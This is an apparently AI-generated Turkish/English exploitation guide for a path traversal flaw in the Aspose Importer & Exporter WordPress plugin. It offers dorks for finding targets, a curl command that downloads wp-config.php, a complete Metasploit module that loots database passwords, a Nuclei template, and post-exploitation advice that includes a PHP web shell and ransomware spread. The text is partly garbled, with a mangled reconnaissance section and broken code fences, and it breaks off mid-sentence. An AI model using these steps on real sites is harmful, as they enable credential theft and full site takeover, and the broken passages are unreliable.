CWE-22
Aspose Importer & Exporter plugin for WordPress before 3.0 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files via the unsanitized 'file' parameter. Attackers can send GET requests to aspose_import_export_download.php with traversal sequences like ../../../wp-config.php to read database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-20.
🎯 Açık Nedir? / What is this vulnerability?
CVE‑2015‑20124 – Aspose Importer & Exporter WordPress eklentisi (v3.0’dan önce) – Path Traversal (CWE‑22)
- Etkilenen dosya:
aspose_import_export_download.php - Kritik parametre:
file(GET) - Sorun: Eklenti, istemciden gelen
fileparametresini hiçbir şekilde sanitizasyon (örneğinrealpath(),basename(),filter_var()vb.) yapmadan doğrudan PHP’ninreadfile()/file_get_contents()fonksiyonlarına geçiriyor. - Kod akışı (basitleştirilmiş):
- Neden çalışıyor? -
- WordPress sürümü ve aktif eklentiler:
wp-json/wp/v2/plugins(REST API) ya dawp-admin/plugins.phpüzerinden (eğer admin paneli açıksa). - Web‑server kullanıcı (genellikle
www-data/apache), çünkü bu kullanıcı dosya okuma iznine sahiptir. - Dosya sistem yapısı:
../sekanslarıyla deneme‑yanılma yaparak kök dizine ulaşım doğrulanır.
```php
<?php
// aspose_import_export_download.php
if (isset($_GET['file'])) {
$file = $_GET['file']; // <-- kontrol yok!
$base = WP_CONTENT_DIR . '/aspose/exports/'; // eklenti dizini
$path = $base . $file; // birleşik yol
// Dosya var mı kontrolü yok, sadece okuma
readfile($path); // dosya içeriği doğrudan yanıt olarak gönderilir
}
?>
```
../ dizin geçiş sekansları (../../../) normalize edilmeden $base ile birleştiriliyor.
- PHP’nin dosya sistemi izinleri (web‑server kullanıcısı) genellikle WordPress kök dizinine ve wp-config.php gibi kritik dosyalara okuma izni verir.
- Sonuç: Unauthenticated (kimlik doğrulama gerektirmeyen) bir GET isteğiyle, saldırgan istediği herhangi bir dosyayı (ör. /etc/passwd, wp-config.php, .htaccess) indirebilir.Bu, CWE‑22: Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”) örneğidir ve confidentiality (C) etkisi yüksek (C:H) olduğu için CVSS v3.1 skoru 7.5 (HIGH) olarak belirlenmiştir.
---
⚡ Saldırı Zinciri / Attack Chain
1️⃣ Discovery – Hedefin bulunması
| Yöntem | Açıklama | |--------|----------| | Google Dork:inurl:aspose_import_export_download.php | WordPress sitelerinde bu endpoint’i hızlıca listeleyebilir. |
| Shodan / Censys: http.title:"Aspose Importer" veya http.favicon.hash ile tarama. |
| Nuclei: cve-2015-20124.yaml (aşağıda örnek). |Örnek Nuclei tarama komutu:
```bash
nuclei -u https://example.com -t cves/2024/CVE-2015-20124.yaml -tags wordpress,aspose
```
2️⃣ Reconnaissance – Gerekli bilgi toplama
200 dönerse dosya okunmuş demektir.
```3️⃣ Exploitation – Gerçek saldırı
#### a) Basit dosya indirme (cURL)
```bash
curl -s "https://victim.com/wp-content/plugins/aspose-importer-exporter/aspose_import_export_download.php?file=../../../wp-config.php" -o wp-config.php
```
#### b) Otomatikleştirilmiş exploit (Metasploit)
Metasploit’te doğrudan bir modül bulunmamakta, ancak auxiliary/scanner/http/aspose_path_traversal gibi bir custom modul oluşturulabilir.
```ruby
modules/auxiliary/scanner/http/aspose_path_traversal.rb
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Aspose Importer & Exporter Path Traversal',
'Description' => %q{
Exploits unauthenticated path traversal in Aspose Importer & Exporter plugin.
},
'Author' => ['YourName'],
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('TARGETURI', [true, 'Base path to the plugin', '/wp-content/plugins/aspose-importer-exporter/']),
OptString.new('FILE', [true, 'File to retrieve', '../../../wp-config.php'])
])
end
def run
uri = normalize_uri(datastore['TARGETURI'], 'aspose_import_export_download.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'vars_get' => { 'file' => datastore['FILE'] }
})
if res && res.code == 200 && res.body.include?('DB_PASSWORD')
print_good("Successfully retrieved wp-config.php")
store_loot('aspose.wpconfig', 'text/plain', rhost, res.body, 'wp-config.php')
else
print_error('Exploit failed or file not found')
end
end
end
```
#### c) Nuclei template (otomatik tarama & indirme)
```yaml
id: cve-2015-20124-aspose-path-traversal
info:
name: Aspose Importer & Exporter Path Traversal
author: pentester
severity: high
description: |
Unauthenticated path traversal in Aspose Importer & Exporter plugin.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2015-20124
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/aspose-importer-exporter/aspose_import_export_download.php?file=../../../wp-config.php"
matchers:
- type: word
words:
- "DB_PASSWORD"
part: body
condition: and
```
4️⃣ Post‑Exploitation
| Aksiyon | Açıklama |
|--------|----------|
| Veritabanı kimlik bilgilerini çalmak (DB_NAME, DB_USER, DB_PASSWORD) | WordPress veritabanına doğrudan SQL Injection ya da admin panel brute‑force ile erişim sağlanabilir. |
| wp-config.php üzerinden “salts” ve “auth keys” elde edilirse session hijacking mümkün olur. |
| /etc/passwd, /var/www/html/.htaccess gibi dosyalar çalınarak credential stuffing veya privilege escalation yapılabilir. |
| Arka kapı (web‑shell) yükleme: file parametresiyle wp-content/uploads/evil.php gibi bir dosya oluşturulup <?php system($_GET['cmd']);?> içeriği gönderilebilir (eğer eklenti dosya yazma izinlerine sahipse). |
| Ransomware dağıtımı: Çalınan DB kredileriyle diğer WordPress sitelerine aynı eklentiyi enjekte edip aynı zafiyeti tetikleyebilir. |
| Bilgi toplama: /.git/config, composer.lock, readme.html gibi dosyalar çalınarak source‑code disclosure sağlanır. |
---
🌍 Gerçek Dünya Etkisi / Real World Impact
| Etki Alanı | Açıklama |
|------------|----------|
| Veri gizliliği | wp-config.php içinde veritabanı şifresi, WordPress “auth salts”, API anahtarları bulunur. Bu bilgilerle saldırgan tam bir site takeover gerçekleştirebilir. |
| Sistem bütünlüğü | Dosya ind
[🤖 GPT-OSS 120B via Groq]
FOFA Sorgusu